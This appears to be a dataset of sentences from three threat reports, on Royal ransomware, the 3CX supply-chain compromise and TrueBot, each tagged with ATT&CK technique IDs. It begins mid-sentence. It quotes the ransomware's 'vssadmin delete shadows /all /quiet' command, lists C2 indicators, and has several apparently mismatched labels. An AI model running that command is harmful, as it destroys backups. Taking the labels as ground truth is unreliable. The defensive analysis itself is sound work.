Ladores, Khristian Joseph Morales December 21, 2022Read time: ( words) Save to Folio Subscribe Royal ransomware may have been first observed by researchers around September 2022, but it has seasoned cybercriminals behind it: The threat actors running this ransomware — who used to be a part of Conti Team One, according to a mind map shared by Vitali Kremez — initially dubbed it Zeon ransomware, until they rebranded it to Royal ransomware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "From September to December this year, we have detected multiple attacks from Royal ransomware, with the US and Brazil being the most targeted countries (Figure 1).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "This blog entry discusses in depth the findings from our investigation of samples of this new piece of ransomware, as well as the tools that Royal ransomware actors used to carry out their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Percentage of Royal ransomware attacks by country Infection Routine External reports mention that the Royal ransomware group uses callback phishing as a means of delivering their ransomware to victims (Figure 2).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "These phishing attacks contain a number that leads to a service hired by the threat actors.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "When contacted, they will use social engineering tactics to lure victims into installing remote access software. Figure 2.", "labels": ["T1219"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Royal ransomware’s attack flow Installation Our investigation found that the ransomware actors used a compiled remote desktop malware, which was used to drop the tools they needed to infiltrate the victim’s system: they used QakBot and Cobalt Strike for lateral movement, while NetScan was used to look for any remote systems connected to the network.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Once they infiltrated the system, the ransomware actors used tools such as PCHunter, PowerTool, GMER, and Process Hacker to disable any security-related services running in the system.", "labels": ["T1562.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "They then exfiltrate the victim’s data via the RClone tool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "We also observed an instance in which they used AdFind to look for active directories, then executed RDPEnable on the infected machine.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Payload Once everything has been set up, the ransomware actors used PsEXEC to execute the malware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "The PsEXEC commands contain the ID of the victim, along with any argument that the actors applied to the ransomware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "There were also instances of the malware actors using PsEXEC to enable the remote desktop protocol (RDP) of a target system before executing the ransomware.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Analysis", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "In part of our analysis, we used a ransomware sample with the detection name Ransom.Win64.YORAL.SMYXCJCT.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "As shown in Table 1, Figure 3, and Figure 4, Royal ransomware requires an argument of “-id {32-byte characters}” to execute on a victim’s machine.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "It also accepts “-path” to specify a target file for encryption and “-ep {value}” to calculate the partial file encryption of large files.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "In some earlier samples of the ransomware, the binary wouldn’t parse all the arguments due to a bug in the code.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For example, “-path” won't be processed if provided after the \"-id\" argument; if provided before, there will be no \"-id\" argument, so it will not proceed.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Argument Description -path {target path} If provided, will only encrypt the contents of the target path -id {32-byte characters} Will be used as the victim’s ID, which will be appended on the TOR link found in the dropped ransom note.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "The process exists if not provided or if provided characters is not 32 bytes long -ep This argument is for the full or partial encryption of file routine Table 1.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Arguments accepted by the Royal ransomware binary Figure 3.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Arguments accepted by the ransomware binary Figure 4.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Checking if length of provided “-id” is 32 bytes It enumerates files and directories for encryption using FindFirstFileW, FindNextFileW, and FindClose APIs (Figure 5).", "labels": ["T1083", "T1106"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "File enumeration The ransomware looks for available network shares for network encryption by listing accessible local IPs, then uses NetShareEnum and attempts to connect on ADMIN$ and IPC$ shares (Figure 6).", "labels": ["T1016", "T1083"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Looking for accessible local IPs then trying to connect to ADMIN$ and IPC$ It checks for the number of processors in the infected system and uses it as a base for the concurrent running threads for file encryption, as shown in Figure 7.", "labels": ["T1082"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "By doing so, Royal ransomware significantly increases the speed of its file encryption process.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Checking the number of processors Royal ransomware inhibits system recovery by deleting shadow copies (Figure 8) through the following command: C:\\\\Windows\\\\System32\\\\vssadmin.exe delete shadows /all", "labels": ["T1082"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "/quiet Figure 8.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Using vssadmin.exe to delete shadow copies The ransomware encrypts files using OpenSSL’s Advanced Encryption Standard (AES).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "It will encrypt the AES key and IV with RSA encryption using the embedded RSA public key (Figure 9).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "The RSA-encrypted AES key and IV will be appended on each encrypted file (Figure 10).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "An RSA public key Figure 10.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Generation of AES Key and IV The malicious actors behind Royal ransomware use a form of intermittent encryption tactic to speed their encryption process: the ransomware first checks if the file size is divisible by 16, which is a requirement for AES (Figure 11).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "If not, it rounds up the total size until it is divisible by 16.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For example, if the size is 18, it will append zero bytes to the file until it has a size of 32, which is now divisible by 16.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Aside from appending the needed zero bytes, it also appends an extra 0x210 Zero bytes as a placeholder for the appended RSA encrypted key. Figure 11.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Royal ransomware checking if file size is divisible by 16", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For a file size that has been rounded-up, Royal ransomware will check if the size is less than or equal to 5,245,000 bytes or if the value is set to 100 (0x64), as shown in Figure 12.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "If the file size is within these limits, it will encrypt the entire file.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For files greater than 5,245,000 bytes, file encryption will take place per certain calculated blocks: for example, it will encrypt first N bytes, then skip the next N bytes, then encrypt the next N bytes, and so on. Figure 12.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Encryption process and calculation Its calculation of N bytes is as follows: X / 10* (Original file size) & 0xFFFFFFF0 where X is the value set before encryption X is either 0x32 (50) or 0x64 (100)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "This value will also be used as indicator if full encryption or partial encryption will be performed on the file For example, with a file with a file size equal to 5,245,000: N = 50/10 * (5245000 / 100) & 0xFFFFFFF0 = 0x40060 (262240)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "If the calculated N is greater than 1,024,000, it will simply encrypt per 1,024,000 block instead (Figure 13).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Condition if N is greater than 1,024,000 The encrypted file’s structure would then be as follows (Table 2): Description Size Encrypted File Contents Rounded-up file size divisible by 16 RSA Encrypted Key 0x200 bytes Size of encrypted file / offset address of RSA Encrypted Key 8 bytes", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "X value, 0x64 or provided value (usually 0x32), indicator if full or partial encryption 8 bytes Table 2.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "An encrypted file’s structure The ransomware then renames the encrypted files by appending them with the “.royal” extension, as demonstrated in Figures 14 and 15. Figure 14.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Royal ransomware appending “.royal” to encrypted files Figure 15.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Encrypted files appended with the “.royal” extension For each directory it traverses, Royal ransomware drops a text file named “README.TXT” that contains the ransom note (Figure 16), as well as an advertisement for its “pentesting services” that the ransomware actors will allegedly provide once the ransom has been paid (Figure 17).", "labels": ["T1083"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Creation of the “README.TXT” file Figure 17.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Contents of \"README.TXT\" with the sample ID we used appended on the TOR link.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Security Recommendations Our investigation into Royal ransomware attacks shows how the group employs a mixture of both old and new techniques, which indicates that it is no newcomer to the ransomware scene.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Their use of callback phishing to lure victims into installing remote desktop malware allows them to infiltrate the victim’s machine with relative ease.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Their intermittent encryption tactics also hasten their encryption of a victim’s files, with the added benefit of evading detection measures that focus on looking for heavy file IO operations.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Despite their “late” entry to the scene in September, the group already has ransomed multiple companies, and we expect them to be more active in the upcoming months.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "More details on Royal ransomware’s other capabilities can be found in Trend Micro’s Threat Encyclopedia.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "We highly advise users and organizations to update their systems with the latest patches and apply multi-layered defense mechanisms.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "The emergence and success of the Royal ransomware gang underscore how ransomware actors are finding more innovative ways to repurposing existing tools and tactics as a means of augmenting their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "End users and enterprises alike can mitigate the risk of infection from new threats like Royal ransomware by following these security best practices: Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location. Patch and update systems regularly.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Companies can also benefit from the use of multilayered detection and response solutions such as Trend Micro Vision One:trade_mark:, which provides powerful XDR capabilities that collect and automatically correlate data across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Trend Micro Apex One:trade_mark: also provides next-level automated threat detection and response to protect endpoints against advanced issues, like human-operated ransomware. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "SHA-256 Detection Description c0063d24f3de4e7b89abf9b690a3d264efc6ab7a626f73ad9f42d6bffe52bce7 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win64.COBALT.BE CobaltStrike fef79160f0ce9aa9dec15c914f2c2b40b2ae1ec2b0e65e414545dbc994afd73d Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win64.COBALT.BE CobaltStrike 3434271f2038afaddad4caad8000e390b3573b2b53e02841653a4ee0dfd73674 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win64.COBALT.BE CobaltStrike 0ac0b3758359855e96367b6c83b0aabdc6cfb59b4caa1cec48632defd21cdf3c Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win64.COBALT.BE CobaltStrike 451cef0085dc5b474cc5c68af079d0367d7d2ec73ae2210788beb5297e1fbd6d Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win64.COBALT.BE CobaltStrike e710e902507ad63e1d2ce1220212b1a751b70504259457234103bb22845a9424 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.QAKBOT.DRSV QakBot 2718dcbb503b6334078daf4af61e17a547fb80c9b811c26cfc9d32f5ce63a826 Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.QAKBOT.DRTE QakBot abf937fb2f162d1dbbe76c7386c9892db5191e17de586f0a5c49819cd68b5e0f Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.DEYMA.AM Compiled Remote Desktop Malware bd2c2cf0631d881ed382817afcce2b093f4e412ffb170a719e2762f250abfea4 PUA.Win64.ProcHack.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "AC Process Hacker 572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b HackTool.Win32.NetScan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "AG NetScan 094d1476331d6f693f1d546b53f1c1a42863e6cde014e2ed655f3cbe63e5ecde HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.ToolPow.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "SM PowerTool e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 PUA.Win32.GMER.YABBI GMER d1aa0ceb01cca76a88f9ee0c5817d24e7a15ad40768430373ae3009a619e2691 PUA.Win64.PCHunter.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "B PCHunter bb48f5c915ab7bbbbbf092a20169aaf3ced46b492ed69550854a55254ce10572 Backdoor.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.SWRORT.YXCJ5Z Malware Component e263b9d5467bf724000966da2acfe06520a464c566e4b3d9833213f850f3f1f2 HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.Adfind.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "THLOFBB AdFind ac49c114ef137cc198786ad8daefa9cfcc01f0c0a827b0e2b927a7edd0fca8b0 HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "BAT.RDPEnable.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "A RDPEnable 2598e8adb87976abe48f0eba4bbb9a7cb69439e0c133b21aee3845dfccf3fb8f Ransom.Win64.YORAL.SMYXCJCT Royal Ransomware Binary cdd7814074872fc35d18740cdd4e8a5fefcfd6b457fde2920383fd5b11903fc5 Ransom_Royal.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "R06CC0DK222 Royal Ransomware Binary a61b71ee73ea8c0f332591e361adeda04705c65b5f4d549066677ec4e71212f7 Ransom.Win32.YORAL.YXCKB Royal Ransomware Binary 56e8bd8b0c5bfb87956f7915bc47a9ecf5d338b804cee1dccacf53400d602be3 Ransom.Win32.YORAL.YECJYT Royal Ransomware Binary Authors Ivan Nicole Chavez Threat Analyst Byron Gelera Threats Analyst Monte de Jesus Threats Analyst Don Ovid Ladores Threats Analyst Khristian Joseph Morales Threats Analyst", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Cisco Talos is tracking and actively responding to a supply chain attack involving the 3CX Desktop Softphone application.", "labels": ["T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "This is a multi-stage attack that involves sideloading DLLs, seven-day sleep routines, and additional payloads dependent on a now-removed GitHub repository for Windows-based systems.", "labels": ["T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "MacOS systems used a different infection chain leveraging a hardcoded C2 domain, as opposed to the GitHub repo.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "This is just the latest supply chain attack threatening users, after the SolarWinds incident in 2020 and the REvil ransomware group exploiting Kaseya VSA in 2021.SummaryCisco Talos recently became aware of a supply chain attack affecting Windows and MacOS users of the 3CX software-based phone application.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "This attack leveraged the legitimate update functionality of the 3CX application to deliver a set of malicious payloads to 3CX users.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The infection chain consists of several stages and involves sideloading DLLs along with a seven-day sleep cycle before the malware attempts to retrieve additional malicious artifacts from a now-removed GitHub repository for the Windows based infection.", "labels": ["T1105", "T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The GitHub repository hosted a series of icon files with encrypted data appended to the end of the files.", "labels": ["T1027"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "These encrypted strings, once decrypted, contained the C2 domains for additional malicious artifacts.", "labels": ["T1027", "T1140"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The MacOS version used a hard coded C2 domain.", "labels": ["T1140"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "These second-stage payloads are information stealers that attempt to obtain system information and the latest browsing history records, indicating this information may be used as a filtering mechanism to identify and discard some victims while maintaining unauthorized access to others.", "labels": ["T1082"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "During our investigation we were able to see file activity dating back to February 3, 2023.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "However, the GitHub repository has been active since December 2022.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The full scope of the attack is uncertain at this point.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The 3CX website claims to have over 600,000 customers and 12 million daily users.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "It's unclear how many are users of the 3CX Desktop App versus the web app option that was not affected.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "3CX is currently asking users to use the web app while they work to release an update.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Preparing since February 2022Based on Cisco Talos investigation, it appears the infrastructure that supported this attack was being prepared as early as February 2022 when the domains were first registered.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "A second cluster of activity happened toward the end of 2022 when the GitHub repository was created, along with a few other domains.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The sbmsa[.]wiki domain was also created on Feb. 9, 2023, which was found to be used by the second stage of the MacOS version.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The timeline below illustrates these clusters of activity.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Timeline of domain registration activity.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Talos created the following coverage for this:Snort SIDs:Snort 3: 300480,300481Snort 2: 61550-61553Orbital QueriesCisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "For specific OSqueries on this threat, Cisco Secure Endpoint customers need to make sure that \"%3CX%\" is entered into the program field under the \"Installed Program Search\" for Windows and \".*3CX.*\" under \"Installed Applications Monitoring\" for MacOS in Orbital.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Additionally, the users can access the OSQueries directly on GitHub for both Windows and MacOS.Indicators of Compromise (IOCs)Indicators of compromise (IOCs) associated with ongoing activity can be found here.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "VMware’s Carbon Black Managed Detection and Response (MDR) team began seeing a surge of TrueBot activity in May 2023.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "TrueBot, otherwise known as Silence.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Downloader has been seen since at least 2017.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "TrueBot is under active development by Silence, with recent versions using a Netwrix vulnerability for delivery.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "In this article, we will break down what we have seen in customers’ environments and how Carbon Black MDR detects and responds to the threat.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "History Just as its name suggests, TrueBot is a downloader trojan botnet that uses command and control servers to collect information on compromised systems and uses that compromised system as a launching point for further attacks, as seen recently with Clop Ransomware.", "labels": ["T1041"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "TrueBot was known for using malicious emails to drop their malware but was recently seen using a Netwrix vulnerability as their delivery method.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "VMware’s MDR team has seen this vulnerability used firsthand in customer environments, as explored below.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "TrueBot is also using Raspberry Robin (a worm) as a delivery vector.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "While Silence Group is known for targeting banks and financial institutions, TrueBot has also been seen targeting the education sector.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "In the Carbon Black Detection & Notable Attacks section, we break down the sectors that we have seen targeted from our platform.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Attribution Though a threat actor group called Silence Group is attributed to this malware, Group-IB has linked the group with Russia’s EvilCorp (Indrik Spider) due to the downloaders they use being similar.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "The MDR team has explored this link and has not found substantial evidence to back this claim.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Researchers thought EvilCorp to be linked to TrueBot due to TrueBot dropping FlawedGrace.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "FlawedGrace is malware that is attributed to EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Though TrueBot drops this payload, the malware operators could purchase access to this tool directly from EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Another link explored was TrueBot dropping Clop Ransomware, which was previously used by EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "However, Clop is ransomware-as-a-service, so anyone can purchase access to this tool.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Lastly, Silence is a Russian-speaking cybercriminal group that uses Russian web hosting services.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Though EvilCorp is also Russian, this is not strong evidence to link the two, as there are dozens of Russian APTs.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Due to these findings, we cannot say for sure whether EvilCorp and TrueBot are connected.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Carbon Black Detection Carbon Black is very effective at detecting TrueBot and its associated activity.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "This section will focus on what Carbon Black detected and the visibility into the attack process.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Figure 1.1 Process Chain", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "The infection appeared to have started with a drive-by-download from Chrome for the executable ‘update.exe’.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Figure 1.2 Update.exe being downloaded A user had to click on this in order to execute the malware.", "labels": ["T1204.002"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Upon execution, the malware immediately begins to look for EDR and antivirus software.", "labels": ["T1518.001"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Figure 1.3 Looking for EDR/AV Once executed, it connected to 94[.]142.138.61IP, which is a Russian IP address that is known to be attributed to TrueBot.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "At the address, the executable ‘3ujwy2rz7v.exe’ was downloaded and then launched by cmd.exe.", "labels": ["T1059.003", "T1105"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Figure 1.4 3ujwy2rz7v.exe activity The executable then connected to the C2 domain name ‘dremmfyttrred[.]com’.", "labels": ["T1003.001"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "The activity thereafter included dumps of LSASS, exfiltration of data, and system and process enumerations.", "labels": ["T1003.001", "T1057"], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Managed Detection and Response stops this activity through first the detection of the activity and then the implementation of system quarantines, hash banning, policy reviews, and policy modifications.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Customers are informed of the observed activity and actions taken by the team every step of the way.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Indicators of Compromise 45.182.189[.]103 Dremmfyttrred.com 94.142.138[.]61 Locations: Russia, Panama Update.exe 